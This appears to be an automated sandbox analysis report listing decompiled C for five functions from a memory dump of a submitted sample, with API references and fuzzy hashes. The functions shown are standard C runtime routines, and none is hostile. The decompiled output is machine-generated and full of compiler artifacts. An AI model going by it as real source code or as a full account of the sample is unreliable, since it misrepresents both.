Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fc64ef4078a8891ae1bdde75b158a0aaad95327ca559b6aedb47d7bc58554047
Instruction ID: 0d090e413749056e974e6965c2accffee55209884e33c17acc02e4596e8b131c
Opcode Fuzzy Hash: fc64ef4078a8891ae1bdde75b158a0aaad95327ca559b6aedb47d7bc58554047
Instruction Fuzzy Hash: B6F0687552021DFBDB155F96FC0DBAE7FB5EF54711F000058F90AA6154DB709A41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0123761B, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0123761B(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E01234161(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							_t30 = _v48 + 0x88; // 0xffce8305
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *_t30))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E012403A0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E012403A0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t116 = _t186 - 1;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E012333D0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E012403A0( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E012402C0();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E012402C0();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E012402C0();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E0123791E(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E01241000(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E01236FAD();
					_t183 = 0x22;
					 *_t129 = _t183;
					E01236CDB();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x0123761b
0x01237626
0x0123762d
0x0123762f
0x0123762f
0x01237631
0x0123763a
0x0123763c
0x01237641
0x01237647
0x0123765d
0x01237662
0x01237665
0x01237672
0x01237677
0x012376cb
0x012376d3
0x012376d5
0x012376d7
0x012376da
0x012376da
0x012376da
0x012376e0
0x012376e8
0x012376fb
0x012376fe
0x01237700
0x01237703
0x01237704
0x01237725
0x01237728
0x01237728
0x01237706
0x01237706
0x01237708
0x01237713
0x01237713
0x01237715
0x0123771c
0x01237717
0x01237717
0x01237717
0x01237715
0x01237729
0x0123772b
0x0123772c
0x0123772f
0x01237731
0x0123773b
0x01237745
0x01237733
0x01237733
0x01237733
0x0123774a
0x0123774a
0x0123774f
0x01237752
0x0123775d
0x0123775d
0x0123775d
0x0123775d
0x01237761
0x01237768
0x01237769
0x0123776c
0x0123776f
0x0123776f
0x01237771
0x00000000
0x00000000
0x01237789
0x01237790
0x01237794
0x01237797
0x0123779a
0x0123779c
0x0123779c
0x0123779c
0x0123779e
0x012377a1
0x012377a4
0x012377a6
0x012377ae
0x012377b4
0x012377b7
0x012377ba
0x012377bb
0x012377be
0x012377c1
0x012377c1
0x012377c6
0x012377c9
0x00000000
0x00000000
0x012377e1
0x012377e6
0x012377ea
0x00000000
0x00000000
0x012377ee
0x012377f1
0x012377f2
0x012377f2
0x012377f4
0x012377f7
0x00000000
0x00000000
0x012377f9
0x012377fc
0x01237803
0x01237806
0x01237809
0x0123781f
0x0123781f
0x0123781f
0x0123780b
0x0123780b
0x0123780d
0x01237810
0x0123781b
0x01237812
0x01237815
0x01237815
0x01237810
0x00000000
0x01237809
0x012377fe
0x012377fe
0x01237800
0x01237800
0x01237754
0x01237754
0x01237757
0x01237822
0x01237822
0x01237824
0x01237826
0x01237829
0x0123782a
0x0123782b
0x0123782c
0x01237834
0x01237834
0x01237834
0x01237836
0x01237839
0x0123783c
0x0123783e
0x0123783e
0x01237840
0x01237852
0x01237856
0x01237859
0x01237860
0x01237868
0x01237868
0x0123786b
0x0123786d
0x0123787e
0x0123787e
0x01237882
0x01237882
0x01237885
0x01237887
0x0123788a
0x00000000
0x0123786f
0x0123786f
0x01237875
0x01237875
0x01237879
0x0123788c
0x0123788c
0x01237890
0x01237891
0x01237893
0x01237895
0x012378d6
0x012378d6
0x012378d8
0x012378e5
0x012378e5
0x012378e7
0x012378e9
0x012378ea
0x012378eb
0x012378f2
0x012378f5
0x012378f7
0x012378f7
0x012378f8
0x012378fa
0x012378fd
0x012378fd
0x012378ff
0x01237901
0x00000000
0x01237901
0x012378da
0x012378dc
0x00000000
0x00000000
0x012378de
0x00000000
0x00000000
0x012378e0
0x012378e3
0x00000000
0x00000000
0x00000000
0x012378e3
0x0123789c
0x012378a2
0x012378a2
0x012378a4
0x012378a5
0x012378a6
0x012378a7
0x012378ae
0x012378b1
0x012378b3
0x012378b4
0x012378b6
0x012378c3
0x012378c3
0x012378c5
0x012378c7
0x012378c8
0x012378c9
0x012378d0
0x012378d3
0x012378d5
0x012378d5
0x00000000
0x012378d5
0x012378b8
0x012378b8
0x012378ba
0x00000000
0x00000000
0x012378bc
0x00000000
0x00000000
0x012378be
0x012378c1
0x00000000
0x00000000
0x00000000
0x012378c1
0x0123789e
0x012378a0
0x00000000
0x00000000
0x00000000
0x012378a0
0x01237871
0x01237873
0x00000000
0x00000000
0x00000000
0x01237873
0x0123786d
0x00000000
0x01237757
0x01237752
0x01237679
0x0123767b
0x00000000
0x0123767d
0x01237693
0x01237698
0x0123769a
0x012376a6
0x012376ac
0x012376ad
0x012376af
0x012376b1
0x012376bc
0x012376bc
0x012376bf
0x012376c1
0x012376c1
0x012376c4
0x0123769c
0x0123769c
0x0123769c
0x00000000
0x0123769a
0x01237649
0x01237649
0x01237650
0x01237651
0x01237653
0x01237905
0x01237909
0x0123790e
0x0123790e
0x0123791d
0x0123791d

APIs

_strrchr.LIBCMT ref: 012376A6
__alldvrm.LIBCMT ref: 012378A7
__alldvrm.LIBCMT ref: 012378C9

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 7c0b278485bf7478f31fe4b7a0d4bbc590537d94cf02cd7249558cfa59f5647a
Instruction ID: a70f21140ec3e2031303c90ea1982e1729604674e76adad6573323c5bd5541fe
Opcode Fuzzy Hash: 7c0b278485bf7478f31fe4b7a0d4bbc590537d94cf02cd7249558cfa59f5647a
Instruction Fuzzy Hash: 3FA127F1A203879FEF268F2CC8917AABFE5EFA5350F184169D6859B281C2748941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01239C4B, Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E01239C4B(void* __edx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t54;
				int _t56;
				signed int _t62;
				int _t65;
				short* _t66;
				signed int _t67;
				short* _t68;

				_t64 = __edx;
				_t34 =  *0x1249004; // 0x5a4607f2
				_v8 = _t34 ^ _t67;
				E01234161(_t54,  &_v28, __edx, _a4);
				_t56 = _a24;
				if(_t56 == 0) {
					_t53 =  *(_v24 + 8);
					_t56 = _t53;
					_a24 = _t53;
				}
				_t65 = 0;
				_t40 = MultiByteToWideChar(_t56, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E01232550(_t54, _v8 ^ _t67, _t64, _t65, _t66);
				}
				_t54 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t54 + 0x00000008 & _t40) == 0) {
					_t66 = 0;
					L11:
					if(_t66 != 0) {
						E012333D0(_t65, _t66, _t65, _t54);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t66, _v12);
						if(_t46 != 0) {
							_t65 = GetStringTypeW(_a8, _t66, _t46, _a20);
						}
					}
					L14:
					E01239D68(_t66);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t54 + 0x00000008;
				_t62 = _t54 + 8;
				if((_t40 & _t54 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t66 = E01236508(_t62, _t48 & _t62);
					if(_t66 == 0) {
						goto L14;
					}
					 *_t66 = 0xdddd;
					L9:
					_t66 =  &(_t66[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E012403C0();
				_t66 = _t68;
				if(_t66 == 0) {
					goto L14;
				}
				 *_t66 = 0xcccc;
				goto L9;
			}

0x01239c4b
0x01239c53
0x01239c5a
0x01239c66
0x01239c6b
0x01239c70
0x01239c75
0x01239c78
0x01239c7a
0x01239c7a
0x01239c7f
0x01239c98
0x01239c9e
0x01239ca3
0x01239d42
0x01239d46
0x01239d4b
0x01239d4b
0x01239d67
0x01239d67
0x01239ca9
0x01239cb1
0x01239cb5
0x01239d01
0x01239d03
0x01239d05
0x01239d0a
0x01239d21
0x01239d29
0x01239d39
0x01239d39
0x01239d29
0x01239d3b
0x01239d3c
0x00000000
0x01239d41
0x01239cbc
0x01239cbe
0x01239cc0
0x01239cc8
0x01239ce5
0x01239cef
0x01239cf4
0x00000000
0x00000000
0x01239cf6
0x01239cfc
0x01239cfc
0x00000000
0x01239cfc
0x01239ccc
0x01239cd0
0x01239cd5
0x01239cd9
0x00000000
0x00000000
0x01239cdb
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,01237000,?,00000000,?,00000001,?,?,00000001,01237000,?), ref: 01239C98
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 01239D21
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,012350D1,?), ref: 01239D33
__freea.LIBCMT ref: 01239D3C

Part of subcall function 01236508: RtlAllocateHeap.NTDLL(00000000,?), ref: 0123653A

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 8c22f591748015c81c7a6c0e2dea6034a7ef8b23c04eefc6bff29f7e79e54232
Instruction ID: fab074e92f621ebe8afe47b3a41a7c50d0f885dd3f6f7d328ea1c6db2c38d1bc
Opcode Fuzzy Hash: 8c22f591748015c81c7a6c0e2dea6034a7ef8b23c04eefc6bff29f7e79e54232
Instruction Fuzzy Hash: C731D2B2A2020BABDF249F68DC89EBF7BA5EB91714F040528FE05D6150E775C991CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0123917E, Relevance: 6.1, APIs: 4, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0123917E() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E01239147(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E01236508(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E012364CE(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x0123918d
0x01239193
0x012391eb
0x012391eb
0x01239195
0x01239196
0x0123919b
0x012391a4
0x012391aa
0x012391b0
0x012391b5
0x00000000
0x012391b7
0x012391bd
0x012391c2
0x012391e0
0x012391da
0x012391da
0x012391dc
0x012391dc
0x012391e3
0x012391e8
0x012391b5
0x012391ef
0x012391f2
0x012391f2
0x01239200

APIs

GetEnvironmentStringsW.KERNEL32 ref: 01239187
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 012391AA

Part of subcall function 01236508: RtlAllocateHeap.NTDLL(00000000,?), ref: 0123653A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 012391D0
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 012391F2

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap
String ID:
API String ID: 1794362364-0
Opcode ID: 5bb8008ffa06fcab26336ed21c189ec619d887fb7ae0f06818857c1cbf1e765c
Instruction ID: 35bbd6962b044ce2473a5b31b9ac95251029fe202aa2e1e54aef387fd04b1707
Opcode Fuzzy Hash: 5bb8008ffa06fcab26336ed21c189ec619d887fb7ae0f06818857c1cbf1e765c
Instruction Fuzzy Hash: E10188B6A222177B3B3155AB7D4CD7B6D6EDEC7EA4315012DFB05E2104DAE08D41C2B0

Uniqueness

Uniqueness Score: -1.00%

Function 0123933D, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0123933D(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x124a0b8 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x1243908 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x5a4607f3
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x01239342
0x01239346
0x0123934d
0x01239351
0x0123935f
0x01239375
0x01239379
0x012393a2
0x012393a4
0x012393a8
0x012393ab
0x012393ab
0x012393b1
0x012393b3
0x00000000
0x012393b4
0x0123937b
0x01239384
0x01239393
0x01239386
0x01239389
0x0123938f
0x0123938f
0x01239397
0x00000000
0x01239399
0x0123939c
0x0123939e
0x00000000
0x0123939e
0x01239397
0x01239353
0x01239358
0x00000000

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,012392E4,?,00000000,00000000,00000000,?,012394E1,00000006,FlsSetValue), ref: 0123936F
GetLastError.KERNEL32(?,012392E4,?,00000000,00000000,00000000,?,012394E1,00000006,FlsSetValue,01243DC0,01243DC8,00000000,00000364,?,01236A94), ref: 0123937B
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,012392E4,?,00000000,00000000,00000000,?,012394E1,00000006,FlsSetValue,01243DC0,01243DC8,00000000), ref: 01239389

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ed743959d1aa6095c80fe50c51d78cd628d800339b77a0412ef17138c24ad6ee
Instruction ID: 9b7d2cb5dec4222192c452efb5c440826b308c6a16c93a3866d549e9912107cf
Opcode Fuzzy Hash: ed743959d1aa6095c80fe50c51d78cd628d800339b77a0412ef17138c24ad6ee
Instruction Fuzzy Hash: 1101D8B6625223ABCF314B79BC48B563B99AF867647101120FA0AD7180D6A1D440C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 01232561, Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E01232561(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t4;
				void* _t6;
				void* _t13;
				void* _t15;
				void* _t20;
				void* _t24;
				void* _t25;
				void* _t27;
				void* _t28;

				_t30 = __edi;
				_t29 = __edx;
				_t25 = __ecx;
				_t24 = __ebx;
				_push(__esi);
				E012354A0(2);
				E01235DDE(E01232BC4());
				_t4 = E01235F0F();
				 *_t4 = E01232D80();
				_t6 = E0123296B(__edx, __edi, _t4, 1);
				_t37 = _t6;
				if(_t6 == 0) {
					L5:
					E01232C32(_t29, _t30, 7);
					asm("int3");
					E01232BFD();
					__eflags = 0;
					return 0;
				} else {
					asm("fclex");
					E01232DD8();
					E01232B0F(_t37, E01232E03);
					_push(E01232BC0());
					_t13 = E01235828(_t25, __edx);
					_pop(_t27);
					if(_t13 != 0) {
						goto L5;
					} else {
						E01232BCA();
						_t15 = E01232C1A();
						_t39 = _t15;
						if(_t15 != 0) {
							_t15 = E01235525(E01232D80);
							_pop(_t27);
						}
						E01233048(E01233048(_t15));
						E01232BD6(_t29, _t30, _t39);
						_t20 = E01235E78(_t27, _t29, E01232D80());
						_pop(_t28);
						L01235A39(_t20, _t24, _t28, _t29);
						E01232D80();
						return 0;
					}
				}
			}

0x01232561
0x01232561
0x01232561
0x01232561
0x01232561
0x01232564
0x0123256f
0x01232574
0x01232582
0x01232584
0x0123258d
0x0123258f
0x012325f4
0x012325f6
0x012325fb
0x012325fc
0x01232601
0x01232603
0x01232591
0x01232591
0x01232593
0x0123259d
0x012325a7
0x012325a8
0x012325ae
0x012325b1
0x00000000
0x012325b3
0x012325b3
0x012325b8
0x012325bd
0x012325bf
0x012325c6
0x012325cb
0x012325cb
0x012325d1
0x012325d6
0x012325e1
0x012325e6
0x012325e7
0x012325ec
0x012325f3
0x012325f3
0x012325b1

APIs

___scrt_initialize_onexit_tables.LIBCMT ref: 01232584
__RTC_Initialize.LIBCMT ref: 01232593

Part of subcall function 01232B0F: __onexit.LIBCMT ref: 01232B15

Part of subcall function 01232BCA: RtlInitializeSListHead.NTDLL(01249AF0), ref: 01232BCF

___scrt_fastfail.LIBCMT ref: 012325F6
___scrt_initialize_default_local_stdio_options.LIBCMT ref: 012325FC

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: Initialize$HeadList___scrt_fastfail___scrt_initialize_default_local_stdio_options___scrt_initialize_onexit_tables__onexit
String ID:
API String ID: 3692885319-0
Opcode ID: fd3ca9c57336dbcf18459d88ca60fd6c4472192258dbd7c3b43ef049f7a47ba7
Instruction ID: 820d88b0d732cac1d0fb45a7d7a3115ade36a76014f5046d10153a75ab7b5562
Opcode Fuzzy Hash: fd3ca9c57336dbcf18459d88ca60fd6c4472192258dbd7c3b43ef049f7a47ba7
Instruction Fuzzy Hash: 3EF05EE167431BE0D91C3FF9680AB7E068A9FF0966F141C15E648AA0C0FE19E6825172

Uniqueness

Uniqueness Score: -1.00%

